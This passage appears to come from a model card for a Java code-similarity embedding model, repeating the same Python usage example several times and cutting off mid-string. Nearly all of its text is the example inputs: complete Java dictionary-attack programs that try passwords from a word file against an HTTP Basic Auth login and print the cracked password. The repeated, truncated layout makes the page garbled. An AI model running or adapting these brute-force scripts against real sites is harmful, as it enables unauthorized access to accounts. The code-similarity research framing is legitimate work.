Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
